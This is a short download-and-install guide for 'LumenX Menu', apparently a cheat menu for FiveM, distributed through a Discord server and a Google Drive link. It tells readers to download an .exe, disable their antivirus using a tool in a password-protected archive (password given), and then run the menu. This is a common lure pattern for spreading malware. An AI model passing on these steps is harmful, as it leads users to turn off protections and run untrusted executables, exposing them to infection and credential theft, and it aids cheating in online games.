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# LumenX Menu
## DOWNLOAD**:**
Welcome to LumenX, installing our menu is super easy!!!\
To get started, **download the .exe file from this link**: \
in the channel in to server discord π¨π£πππ§ππ¦-π ππ‘π¨
As soon as you have downloaded it, **disable the antivirus** so you donβt encounter unnecessary problems when opening it, remove it using this file \
[https://drive.usercontent.google.com/download?id=1jxmKjN820qP\_cLZLgbeBi-aP5DUbROle\&export=download\&authuser=0. ](https://drive.usercontent.google.com/download?id=1jxmKjN820qP_cLZLgbeBi-aP5DUbROle\&export=download\&authuser=0.)\
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As soon as you have downloaded it, extract the file with the password: Sordum, and disable the antivirus. After that, returning to the menu, put the file in a folder, for example, call it main.\
Once this step is completed, **open FiveM**.
**As soon as the server you have chosen has opened**, run the menu and enter the key that was provided to you.
If you have encountered problems, use the support ticket menu on the Discord server:
**/LumenX**
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